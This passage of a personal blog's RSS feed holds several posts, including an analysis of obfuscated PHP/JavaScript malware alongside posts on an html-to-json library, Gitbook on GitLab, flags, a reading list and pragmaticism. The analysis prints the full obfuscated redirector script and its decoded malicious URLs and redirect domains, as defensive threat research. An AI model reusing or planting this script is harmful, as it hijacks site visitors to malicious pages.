&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }],
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;meta&amp;#34;&lt;/span>: [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;attributes&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;charset&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;UTF-8&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;attributes&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;description&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;content&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;Floyd Hightower\&amp;#39;s Projects&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;attributes&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;keywords&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;content&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;projects,fhightower,Floyd,Hightower&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And you can tell it to only convert html tables in which case it will convert tables and use the table headings as the keys for the resulting json (this is described in depth &lt;a href="https://gitlab.com/fhightower/html-to-json#html-tables-to-json">here&lt;/a>).&lt;/p>
&lt;h3 id="benefits-of-html-to-json-library">Benefits of HTML-to-JSON Library&lt;/h3>
&lt;p>What is exciting about this library is that it allows you to treat every website like a JSON API. This means you do not have to use &lt;a href="https://www.crummy.com/software/BeautifulSoup/">beautiful soup&lt;/a> or some other HTML parser and traversal system; you can just work with JSON!&lt;/p>
&lt;p>Enjoy the project and please &lt;a href="https://hightower.space/contact/">contact me&lt;/a> if you have any questions or feedback!&lt;/p></description></item><item><title>Analysis of Obfuscated PHP Malware</title><link>https://hightower.space/posts/php-malware-analysis-jan-29-part-1/</link><pubDate>Tue, 29 Jan 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/php-malware-analysis-jan-29-part-1/</guid><description>&lt;p>&lt;i>Updated on February 27, 2019.&lt;/i>&lt;/p>
&lt;p>I am monitoring the php decoder site &lt;a href="https://malwaredecoder.com/">here&lt;/a> and was alerted when the decoded php &lt;a href="https://malwaredecoder.com/result/2333ee92d6f6872f6b5e685a9f4b3ed3">here&lt;/a> had a &lt;code>String.fromCharCode&lt;/code> command in it. After decoding the character code (&lt;code>104, 116, 116, 112, 115, 58, 47, 47, 103, 101, 116, 109, 121, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 103, 101, 116, 46, 112, 104, 112&lt;/code>)&lt;!-- &lt;sup>1&lt;/sup> -->, this produced &lt;code>https://getmyconfigplease[.]com/get[.]php&lt;/code>. The content of this site looks like:&lt;/p>
&lt;pre tabindex="0">&lt;code>var sECIQY8TzC = document.createElement(&amp;#39;script&amp;#39;); sECIQY8TzC.type = &amp;#39;text/javascript&amp;#39;; sECIQY8TzC.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 112, 97, 115, 116, 101, 98, 105, 110, 46, 99, 111, 109, 47, 114, 97, 119, 47, 69, 110, 78, 75, 113, 71, 76, 78); document.head.appendChild(sECIQY8TzC);
&lt;/code>&lt;/pre>&lt;p>Decoding the &lt;code>String.fromCharCode&lt;/code> bit&lt;!-- &lt;sup>2&lt;/sup> --> produces &lt;code>https://pastebin.com/raw/EnNKqGLN&lt;/code>.&lt;/p>
&lt;!-- &lt;aside class="marginnote">
&lt;p>&lt;span class="noteNumber">1&lt;/span> - In biblioteca: &lt;code>fromCharCode([104, 116, 116, 112, 115, 58, 47, 47, 103, 101, 116, 109, 121, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 103, 101, 116, 46, 112, 104, 112])&lt;/code>&lt;/p>
&lt;p>&lt;span class="noteNumber">2&lt;/span> - In biblioteca: &lt;code>fromCharCode([104, 116, 116, 112, 115, 58, 47, 47, 112, 97, 115, 116, 101, 98, 105, 110, 46, 99, 111, 109, 47, 114, 97, 119, 47, 69, 110, 78, 75, 113, 71, 76, 78])&lt;/code>&lt;/p>
&lt;/aside> -->
&lt;p>The content of this site is:&lt;/p>
&lt;pre tabindex="0">&lt;code>function _0x16ac9e(){var _0x11da69=[&amp;#39;MHgy&amp;#39;,&amp;#39;MHgz&amp;#39;,&amp;#39;MHg0&amp;#39;,&amp;#39;MHg2&amp;#39;,&amp;#39;aHJlZg==&amp;#39;,&amp;#39;cmVwbGFjZQ==&amp;#39;,&amp;#39;bG9jYXRpb24=&amp;#39;,&amp;#39;aW5kZXhPZg==&amp;#39;,&amp;#39;Y29va2ll&amp;#39;,&amp;#39;QmVzdENvb2tpZT10cnVlOyBtYXgtYWdlPTIwNDAw&amp;#39;,&amp;#39;c2hpZnQ=&amp;#39;,&amp;#39;MHgw&amp;#39;,&amp;#39;MHgx&amp;#39;];(function(_0x538417,_0x48f8ea){var _0x350dbc=function(_0x2e576b){while(--_0x2e576b){_0x538417[&amp;#39;push&amp;#39;](_0x538417[&amp;#39;shift&amp;#39;]());}};_0x350dbc(++_0x48f8ea);}(_0x11da69,0xd5));var _0x4097a7=function(_0x506a3d,_0x321114){_0x506a3d=_0x506a3d-0x0;var _0x32b6f7=_0x11da69[_0x506a3d];if(_0x4097a7[&amp;#39;cNcBaR&amp;#39;]===undefined){(function(){var _0x29eb7d;try{var _0x4e84d1=Function(&amp;#39;return\x20(function()\x20&amp;#39;+&amp;#39;{}.constructor(\x22return\x20this\x22)(\x20)&amp;#39;+&amp;#39;);&amp;#39;);_0x29eb7d=_0x4e84d1();}catch(_0x476c5c){_0x29eb7d=window;}var _0x3b1078=&amp;#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&amp;#39;;_0x29eb7d[&amp;#39;atob&amp;#39;]||(_0x29eb7d[&amp;#39;atob&amp;#39;]=function(_0x2199f9){var _0x207876=String(_0x2199f9)[&amp;#39;replace&amp;#39;](/=+$/,&amp;#39;&amp;#39;);for(var _0x3d686c=0x0,_0x55acec,_0x22a388,_0x5795eb=0x0,_0x5c30ef=&amp;#39;&amp;#39;;_0x22a388=_0x207876[&amp;#39;charAt&amp;#39;](_0x5795eb++);~_0x22a388&amp;amp;&amp;amp;(_0x55acec=_0x3d686c%0x4?_0x55acec*0x40+_0x22a388:_0x22a388,_0x3d686c++%0x4)?_0x5c30ef+=String[&amp;#39;fromCharCode&amp;#39;](0xff&amp;amp;_0x55acec&amp;gt;&amp;gt;(-0x2*_0x3d686c&amp;amp;0x6)):0x0){_0x22a388=_0x3b1078[&amp;#39;indexOf&amp;#39;](_0x22a388);}return _0x5c30ef;});}());_0x4097a7[&amp;#39;qogRBP&amp;#39;]=function(_0xd61dcf){var _0x10ae9e=atob(_0xd61dcf);var _0x3a9531=[];for(var _0x3a6320=0x0,_0x8d019b=_0x10ae9e[&amp;#39;length&amp;#39;];_0x3a6320&amp;lt;_0x8d019b;_0x3a6320++){_0x3a9531+=&amp;#39;%&amp;#39;+(&amp;#39;00&amp;#39;+_0x10ae9e[&amp;#39;charCodeAt&amp;#39;](_0x3a6320)[&amp;#39;toString&amp;#39;](0x10))[&amp;#39;slice&amp;#39;](-0x2);}return decodeURIComponent(_0x3a9531);};_0x4097a7[&amp;#39;KYlgqs&amp;#39;]={};_0x4097a7[&amp;#39;cNcBaR&amp;#39;]=!![];}var _0x579681=_0x4097a7[&amp;#39;KYlgqs&amp;#39;][_0x506a3d];if(_0x579681===undefined){_0x32b6f7=_0x4097a7[&amp;#39;qogRBP&amp;#39;](_0x32b6f7);_0x4097a7[&amp;#39;KYlgqs&amp;#39;][_0x506a3d]=_0x32b6f7;}else{_0x32b6f7=_0x579681;}return _0x32b6f7;};var _0x2be368=[_0x4097a7(&amp;#39;0x0&amp;#39;),_0x4097a7(&amp;#39;0x1&amp;#39;),&amp;#39;fromCharCode&amp;#39;,&amp;#39;BestCookie=true&amp;#39;,_0x4097a7(&amp;#39;0x2&amp;#39;),_0x4097a7(&amp;#39;0x3&amp;#39;),_0x4097a7(&amp;#39;0x4&amp;#39;)];(function(_0x6e5b15,_0x2c75a3){var _0x42951f=function(_0x1975b5){while(--_0x1975b5){_0x6e5b15[&amp;#39;push&amp;#39;](_0x6e5b15[_0x4097a7(&amp;#39;0x5&amp;#39;)]());}};_0x42951f(++_0x2c75a3);}(_0x2be368,0x1c9));var _0x4755cb=function(_0x5ad1ee,_0x39c6df){_0x5ad1ee=_0x5ad1ee-0x0;var _0x38bd4b=_0x2be368[_0x5ad1ee];return _0x38bd4b;};var _0x443bde=[_0x4755cb(_0x4097a7(&amp;#39;0x6&amp;#39;)),_0x4755cb(_0x4097a7(&amp;#39;0x7&amp;#39;)),_0x4755cb(_0x4097a7(&amp;#39;0x8&amp;#39;)),_0x4755cb(_0x4097a7(&amp;#39;0x9&amp;#39;)),_0x4755cb(_0x4097a7(&amp;#39;0xa&amp;#39;)),_0x4755cb(&amp;#39;0x5&amp;#39;),_0x4755cb(_0x4097a7(&amp;#39;0xb&amp;#39;)),_0x4097a7(&amp;#39;0xc&amp;#39;)];var _0x4efd8b=String[_0x443bde[0x0]](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x66,0x6f,0x72,0x6d,0x79,0x6c,0x69,0x74,0x74,0x6c,0x65,0x73,0x69,0x74,0x65,0x2e,0x78,0x79,0x7a,0x2f,0x6c,0x69,0x74,0x74,0x6c,0x65,0x2e,0x70,0x68,0x70);if(document[_0x443bde[0x3]][_0x443bde[0x2]](_0x443bde[0x1])==-0x1){document[_0x443bde[0x3]]=_0x443bde[0x4];window[_0x443bde[0x6]][_0x443bde[0x5]](_0x4efd8b);document[_0x443bde[0x6]][_0x443bde[0x5]](_0x4efd8b);window[_0x443bde[0x6]][_0x443bde[0x7]]=_0x4efd8b;document[_0x443bde[0x6]][_0x443bde[0x7]]=_0x4efd8b;}}_0x16ac9e();
&lt;/code>&lt;/pre>&lt;h3 id="update-february-27-2019">Update (February 27, 2019)&lt;/h3>
&lt;p>&lt;em>The content below was added on February 27, 2019.&lt;/em>&lt;/p>
&lt;p>Upon further investigation, the code above contains the interesting snippet:&lt;/p>
&lt;pre tabindex="0">&lt;code>(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x66,0x6f,0x72,0x6d,0x79,0x6c,0x69,0x74,0x74,0x6c,0x65,0x73,0x69,0x74,0x65,0x2e,0x78,0x79,0x7a,0x2f,0x6c,0x69,0x74,0x74,0x6c,0x65,0x2e,0x70,0x68,0x70)
&lt;/code>&lt;/pre>&lt;p>This hex that decodes to:&lt;/p>
&lt;pre tabindex="0">&lt;code>https://formylittlesite.xyz/little.php
&lt;/code>&lt;/pre>&lt;p>Visitors to this site will be redirected to a URL on one of the following domains (the full URLs are listed below):&lt;/p>
&lt;pre tabindex="0">&lt;code>appelertte.tk
atlanta-rostov.ru
avtonewsmir.ru
avtoservis5plus.ru
avtowoldsnews.ru
creditforms.site
edu-fddu.info
giner.online
greencool.icu
informzine.site
lentube.host
merkuriu.icu
picturesun.top
rriverrponse.tk
sarriverdoma.tk
school-fix-news.info
storics.info
studentachieve.tk
visnu.icu
www.twero.com
&lt;/code>&lt;/pre>&lt;p>Here are the URLs to which I was redirected:&lt;/p>
&lt;pre tabindex="0">&lt;code>http://appelertte.tk/index/?8mMwj2&amp;amp;extra_param_1=261
http://appelertte.tk/index/?8mMwj2&amp;amp;extra_param_1=695
http://atlanta-rostov.ru/2018/12/26/ken-shamrock-vs-kimbo-slice-full-fight/
http://atlanta-rostov.ru/2018/12/27/rhythmbox-vs-banshee/
http://atlanta-rostov.ru/latest.php
http://avtonewsmir.ru/the-best-stock-photos/
http://avtoservis5plus.ru/main-credit-reporting-agencies/
http://avtowoldsnews.ru/forex-trading-for-dummies-2013-pdf/
http://avtowoldsnews.ru/latest.php
http://creditforms.site/average-car-insurance-rates-florida/
http://creditforms.site/latest.php
http://creditforms.site/the-carburetors/
http://edu-fddu.info/blog/latest.php
http://giner.online/can-you-apply-for-more-than-one-credit-card/
http://greencool.icu/blog/?p=502
http://greencool.icu/blog/latest.php
http://informzine.site/2018/12/26/papigfunk/
http://informzine.site/latest.php
http://lentube.host/forex-trading-tutorials/
http://lentube.host/latest.php
http://lentube.host/top-forex-traders-in-the-world-2017/
http://lentube.host/what-is-a-broker-forex-nu3p/
http://merkuriu.icu/blog/?p=446
http://picturesun.top/blog/?p=102
http://picturesun.top/blog/?p=104
http://picturesun.top/blog/?p=125
http://picturesun.top/blog/?p=13
http://picturesun.top/blog/?p=1348
http://picturesun.top/blog/?p=1357
http://picturesun.top/blog/?p=1382
http://picturesun.top/blog/?p=1416
http://picturesun.top/blog/?p=1444
http://picturesun.top/blog/?p=1485
http://picturesun.top/blog/?p=149
http://picturesun.top/blog/?p=1494
http://picturesun.top/blog/?p=1499
http://picturesun.top/blog/?p=1509
http://picturesun.top/blog/?p=1537
http://picturesun.top/blog/?p=1553
http://picturesun.top/blog/?p=156
http://picturesun.top/blog/?p=1566
http://picturesun.top/blog/?p=158
http://picturesun.top/blog/?p=1589
http://picturesun.top/blog/?p=1600
http://picturesun.top/blog/?p=1611
http://picturesun.top/blog/?p=1631
http://picturesun.top/blog/?p=1651
http://picturesun.top/blog/?p=1655
http://picturesun.top/blog/?p=1658
http://picturesun.top/blog/?p=1667
http://picturesun.top/blog/?p=1675
http://picturesun.top/blog/?p=1690
http://picturesun.top/blog/?p=1694
http://picturesun.top/blog/?p=174
http://picturesun.top/blog/?p=178
http://picturesun.top/blog/?p=18
http://picturesun.top/blog/?p=183
http://picturesun.top/blog/?p=209
http://picturesun.top/blog/?p=213
http://picturesun.top/blog/?p=226
http://picturesun.top/blog/?p=242
http://picturesun.top/blog/?p=252
http://picturesun.top/blog/?p=256
http://picturesun.top/blog/?p=268
http://picturesun.top/blog/?p=274
http://picturesun.top/blog/?p=280
http://picturesun.top/blog/?p=306
http://picturesun.top/blog/?p=312
http://picturesun.top/blog/?p=314
http://picturesun.top/blog/?p=334
http://picturesun.top/blog/?p=348
http://picturesun.top/blog/?p=354
http://picturesun.top/blog/?p=374
http://picturesun.top/blog/?p=376
http://picturesun.top/blog/?p=380
http://picturesun.top/blog/?p=382
http://picturesun.top/blog/?p=396
http://picturesun.top/blog/?p=404
http://picturesun.top/blog/?p=418
http://picturesun.top/blog/?p=426
http://picturesun.top/blog/?p=430
http://picturesun.top/blog/?p=448
http://picturesun.top/blog/?p=452
http://picturesun.top/blog/?p=458
http://picturesun.top/blog/?p=470
http://picturesun.top/blog/?p=476
http://picturesun.top/blog/?p=480
http://picturesun.top/blog/?p=484
http://picturesun.top/blog/?p=500
http://picturesun.top/blog/?p=513
http://picturesun.top/blog/?p=517
http://picturesun.top/blog/?p=523
http://picturesun.top/blog/?p=527
http://picturesun.top/blog/?p=529
http://picturesun.top/blog/?p=531
http://picturesun.top/blog/?p=537
http://picturesun.top/blog/?p=541
http://picturesun.top/blog/?p=543
http://picturesun.top/blog/?p=545
http://picturesun.top/blog/?p=551
http://picturesun.top/blog/?p=557
http://picturesun.top/blog/?p=565
http://picturesun.top/blog/?p=567
http://picturesun.top/blog/?p=569
http://picturesun.top/blog/?p=573
http://picturesun.top/blog/?p=575
http://picturesun.top/blog/?p=622
http://picturesun.top/blog/?p=86
http://picturesun.top/blog/?p=92
http://picturesun.top/blog/?p=96
http://picturesun.top/blog/latest.php
http://rriverrponse.tk/index/?8mMwj2&amp;amp;extra_param_1=695
http://sarriverdoma.tk/index/?8mMwj2&amp;amp;extra_param_1=695
http://school-fix-news.info/2019/01/09/car-accident-my-fault-will-my-insurance-go-up/
http://storics.info/2018/12/27/business-credit-cards-for-bad-credit/
http://storics.info/2018/12/27/cheapest-home-equity-line-of-credit/
http://storics.info/2018/12/27/paid-in-full-on-credit-report/
http://storics.info/2018/12/27/wipe-credit-clean/
http://storics.info/latest.php
http://visnu.icu/philadelphia-indemnity-car-insurance/
https://www.twero.com/en/profiles?p=1027797&amp;amp;pi=test1&amp;amp;_=1548965393
&lt;/code>&lt;/pre>&lt;p>I intend to more investigation on the registrant information for these domains at some point and will keep you posted!&lt;/p></description></item><item><title>Running Gitbook on Gitlab</title><link>https://hightower.space/posts/gitbook-on-gitlab/</link><pubDate>Sun, 27 Jan 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gitbook-on-gitlab/</guid><description>&lt;p>Here&amp;rsquo;s how to run a &lt;a href="https://www.gitbook.com/">gitbook&lt;/a> in &lt;a href="https://docs.gitlab.com/ee/user/project/pages/">gitlab pages&lt;/a>:&lt;/p>
&lt;ol>
&lt;li>Create a repo in Gitlab&lt;/li>
&lt;li>Clone the template &lt;a href="https://github.com/fhightower-templates/gitbook-template">here&lt;/a>&lt;/li>
&lt;li>Add the following file as &lt;code>.gitlab-ci.yml&lt;/code> and push to gitlab:&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code># requiring the environment of NodeJS 6.12.x
image: node:6.12
# add &amp;#39;node_modules&amp;#39; to cache for speeding up builds
cache:
paths:
- node_modules/ # Node modules and dependencies
before_script:
- npm install gitbook-cli -g # install gitbook
- gitbook fetch latest # fetch latest stable version
- gitbook install # add any requested plugins in book.json
# the &amp;#39;pages&amp;#39; job will deploy and build your site to the &amp;#39;public&amp;#39; path
pages:
stage: deploy
script:
- gitbook build . public # build to public path
artifacts:
paths:
- public
only:
- master # this job will affect only the &amp;#39;master&amp;#39; branch
&lt;/code>&lt;/pre>&lt;p>Once you push this, you&amp;rsquo;ll have a gitbook running.&lt;/p></description></item><item><title>Fascinating Flags</title><link>https://hightower.space/posts/fascinating-flags/</link><pubDate>Sun, 20 Jan 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/fascinating-flags/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Flag_of_Greece">&lt;a href="https://en.wikipedia.org/wiki/Flag_of_Greece">https://en.wikipedia.org/wiki/Flag_of_Greece&lt;/a>&lt;/a> - Fascinating because of the supposed connection with the phrase &amp;ldquo;Ελευθερία ή Θάνατος&amp;rdquo;&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Flag_of_Bikini_Atoll">&lt;a href="https://en.wikipedia.org/wiki/Flag_of_Bikini_Atoll">https://en.wikipedia.org/wiki/Flag_of_Bikini_Atoll&lt;/a>&lt;/a> - Fascinating historical significance behind this flag&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Flag_of_Bangladesh">&lt;a href="https://en.wikipedia.org/wiki/Flag_of_Bangladesh">https://en.wikipedia.org/wiki/Flag_of_Bangladesh&lt;/a>&lt;/a> - Fascinating because the central circle is off-centered so that it appears in the middle when flying from a pole/mast&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Tehuelche_people#/media/File:Bandiera_tehuelche.jpg">&lt;a href="https://en.wikipedia.org/wiki/Tehuelche_people#/media/File:Bandiera_tehuelche.jpg">https://en.wikipedia.org/wiki/Tehuelche_people#/media/File:Bandiera_tehuelche.jpg&lt;/a>&lt;/a> - This one is just oddly laid out. I like it as it is very unusual and eye-catching.&lt;/li>
&lt;/ul></description></item><item><title>2019 Reading List</title><link>https://hightower.space/posts/2019-reading-list/</link><pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2019-reading-list/</guid><description>&lt;ul>
&lt;li>Telling the Truth: Evangelizing Postmoderns (D. A. Carson)&lt;/li>
&lt;li>Techniques and Assumptions in Jewish Exegesis Before 70 CE (Edward A. Goldman - &lt;a href="https://www.thefreelibrary.com/Techniques+and+Assumptions+in+Jewish+Exegesis+before+70+CE.-a016617400">link&lt;/a>)&lt;/li>
&lt;li>Current Hermeneutical Trends: Toward Explanation or Obfuscation? (Robert L. Thomas - &lt;a href="https://www.etsjets.org/files/JETS-PDFs/39/39-2/39-2-pp241-256_JETS.pdf">link&lt;/a>)&lt;/li>
&lt;li>Hermeneutics and The Theological Task (Walter C. Kaiser, Jr. - &lt;a href="https://biblicalstudies.org.uk/pdf/tj/task_kaiser.pdf">link&lt;/a>)&lt;/li>
&lt;li>The Postmodern Condition (Jean-François Lyotard)&lt;/li>
&lt;li>Towards a Theory of Software Development Expertise (Sebastian Baltes, Stephan Diehl - &lt;a href="https://arxiv.org/abs/1807.06087">link&lt;/a> and &lt;a href="https://adriancolyer.files.wordpress.com/2018/12/SDExp-Fig-4.jpeg">link&lt;/a>)&lt;/li>
&lt;li>Hermeneutics of New Perspective on Paul (Robert L. Thomas - &lt;a href="https://tms.edu/messages/chapel983/">link&lt;/a>)&lt;/li>
&lt;li>Modern Linguistics Versus Traditional Hermeneutics (Robert L. Thomas - &lt;a href="https://www.tms.edu/m/tmsj14b.pdf">link&lt;/a>)&lt;/li>
&lt;li>Research Debt (Chris Olah, Shan Carter - &lt;a href="https://distill.pub/2017/research-debt/">link&lt;/a>)&lt;/li>
&lt;li>It Is Written: Scripture Citing Scripture (D. A. Carson)&lt;/li>
&lt;li>Semantics of New Testament Greek (J. P. Louw)&lt;/li>
&lt;li>The Harmful Consequences of Postel&amp;rsquo;s Maxim (Martin Thomson - &lt;a href="https://tools.ietf.org/html/draft-thomson-postel-was-wrong-00">link&lt;/a>)&lt;/li>
&lt;li>The Impact of Postmodern Thinking on Evangelical Hermeneutics (Robertson Mcquilkin, Bradford Mullen - &lt;a href="https://www.etsjets.org/files/JETS-PDFs/40/40-1/40-1-pp069-082_JETS.pdf">link&lt;/a>)&lt;/li>
&lt;li>Exegetical Fallacies: Common Interpretive Mistakes Every Student Must Avoid (William D. Barrick - &lt;a href="https://www.tms.edu/m/msj19.1.pdf">link&lt;/a>)&lt;/li>
&lt;li>Biblical Theology and the Analogy of Faith (Daniel Fuller)&lt;/li>
&lt;li>Biblical hermeneutics: a treatise on the interpretation of the Old and New Testaments (Milton Spenser Terry - &lt;a href="https://archive.org/details/biblicalhermeneu00terruoft/mode/2up">link&lt;/a>)&lt;/li>
&lt;li>A Critical Examination of Jonathan Edwards&amp;rsquo; Doctrine of the Trinity (Ralph Cunnington - &lt;a href="https://tgc-documents.s3.amazonaws.com/themelios/Themelios39.2.pdf#page=12">link&lt;/a>)&lt;/li>
&lt;li>From a Broken Covenant to Circumcision of The Heart (Timothy W Berkley)&lt;/li>
&lt;li>Must I Learn How to Interpret the Bible? (D. A. Carson - &lt;a href="https://s3.amazonaws.com/tgc-documents/carson/1996_must_I_learn_how_to_interpret_the_Bible_reformatted.pdf">link&lt;/a>)&lt;/li>
&lt;li>A Connecticut Yankee in King Arthur&amp;rsquo;s Court (Mark Twain)&lt;/li>
&lt;li>Redrawing the Line Between Hermeneutics and Application (Brian A. Shealy - &lt;a href="https://www.tms.edu/m/tmsj8e.pdf">link&lt;/a>)†&lt;/li>
&lt;li>Modernity, Postmodernity - What in the world are they? (Thomas Finger - &lt;a href="https://www.jstor.org/stable/43052414?seq=1">link&lt;/a>)&lt;/li>
&lt;li>Programming paradigms for dummies: what every programmer should know (Peter Van Roy - &lt;a href="https://blog.acolyer.org/2019/01/25/programming-paradigms-for-dummies-what-every-programmer-should-know/">link&lt;/a>)&lt;/li>
&lt;li>The Chicago Statement on Biblical Hermeneutics (&lt;a href="https://library.dts.edu/Pages/TL/Special/ICBI_2.pdf">link&lt;/a>)&lt;/li>
&lt;li>Arguing With Scripture: The Rhetoric of Quotations in the Letters of Paul (Christopher D. Stanley)&lt;/li>
&lt;li>Written Also for Our Sake: Paul and the Art of Biblical Interpretation (James W Aageson)&lt;/li>
&lt;li>To Be Continuous - Ep. #37, The Man Behind Windows PowerShell (Jeffrey Snover - &lt;a href="https://soundcloud.com/heavybit/to-be-continuous-ep-37-the-man-behind-windows-powershell">link&lt;/a>)&lt;/li>
&lt;li>As It Is Written: Studying Paul&amp;rsquo;s Use of Scripture (Stanley E. Porter, Christopher D. Stanley)&lt;/li>
&lt;li>The Epistle of Barnabas&lt;/li>
&lt;li>The First Epistle of Clement to the Corinthians&lt;/li>
&lt;li>Computing Machinery and Intelligence&lt;/li>
&lt;li>The Death of Ivan Ilych (and other short stories by Leo Tolstoy)&lt;/li>
&lt;li>Splendor of Grace&lt;/li>
&lt;li>All That&amp;rsquo;s Good: Recovering the Lost Art of Discernment&lt;/li>
&lt;/ul>
&lt;p>Many more&amp;hellip;&lt;/p>
&lt;p>† Note on the &amp;ldquo;Redrawing the Line Between Hermeneutics and Application&amp;rdquo; article:&lt;/p>
&lt;blockquote>
&lt;p>I could certainly be wrong, but this article&amp;rsquo;s lament that the New Hermeneutic has &amp;ldquo;[incorporated] the step of application into the hermeneutical process&amp;rdquo;&lt;sup>1&lt;/sup> seems to contradict Article IX of the &lt;a href="https://library.dts.edu/Pages/TL/Special/ICBI_2.pdf">Chicago Statement on Biblical Hermeneutics&lt;/a> which says:&lt;/p>&lt;/blockquote>
&lt;blockquote>
&lt;blockquote>
&lt;p>&amp;ldquo;We affirm that the term hermeneutics, which historically signified the rules of exegesis, may properly be extended to cover all that is involved in the process of perceiving what the biblical revelation means and how it bears on our lives.&amp;rdquo;&lt;/p>&lt;/blockquote>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">1&lt;/span> - Pg. 1 in the Abstract here: &lt;a href="https://www.tms.edu/m/tmsj8e.pdf" target="_blank">https://www.tms.edu/m/tmsj8e.pdf&lt;/a>
&lt;/aside></description></item><item><title>A Question on Pragmaticism</title><link>https://hightower.space/posts/pragmaticism-question/</link><pubDate>Sun, 30 Dec 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/pragmaticism-question/</guid><description>&lt;p>I was recently reading about &lt;a href="https://en.wikipedia.org/wiki/Pragmaticism">Pragmaticism&lt;/a> (for an article I wrote here: &lt;a href="https://bible.hightower.space/posts/pragmaticism/">Why Christians Must be Wary of Pragmaticism&lt;/a>), and found the following definition in the Century Dictionary from 1909:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>pragmaticism&lt;/strong> (prag-mat′ i-sizm), n. [pragmatic + ism.] A special and limited form of pragmatism, in which the pragmatism is restricted to the determining of the meaning of concepts (particularly of philosophic concepts) by consideration of the experimental differences in the conduct of life which would conceivably result from the affirmation or denial of the meaning in question.&lt;sup>1&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">1&lt;/span> - &lt;a target="_blank" href="https://archive.org/stream/centurydictionar12whituoft#page/1050/mode/2up">https://archive.org/stream/centurydictionar12whituoft#page/1050/mode/2up&lt;/a> I first found this on the Wikipedia page for &lt;a target="_blank" href="https://en.wikipedia.org/wiki/Pragmaticism">Pragmaticism&lt;/a>
&lt;/aside>
&lt;p>What I find interesting about this definition is the two uses of the word &amp;ldquo;meaning&amp;rdquo;. Take a look again at the definition again and focus on the use of the word &amp;ldquo;meaning&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>pragmaticism (prag-mat′ i-sizm), n. [pragmatic + ism.] A special and limited form of pragmatism, in which the pragmatism is restricted to the determining of the &lt;em>&lt;strong>meaning&lt;/strong>&lt;/em> of concepts (particularly of philosophic concepts) by consideration of the experimental differences in the conduct of life which would conceivably result from the affirmation or denial of the &lt;em>&lt;strong>meaning&lt;/strong>&lt;/em> in question.&lt;/p>&lt;/blockquote>
&lt;p>This definition seems to presuppose that there are two, distinct meanings for every concept. The first time the word &amp;ldquo;meaning&amp;rdquo; is used in the definition above, it describes a meaning which is determined using pragmatism. The second use of the word &amp;ldquo;meaning&amp;rdquo; appears to be referring to a meaning essential to the concept which, by affirmation or denial, will produce &amp;ldquo;experimental differences&amp;rdquo; from which the first meaning can be derived.&lt;/p>
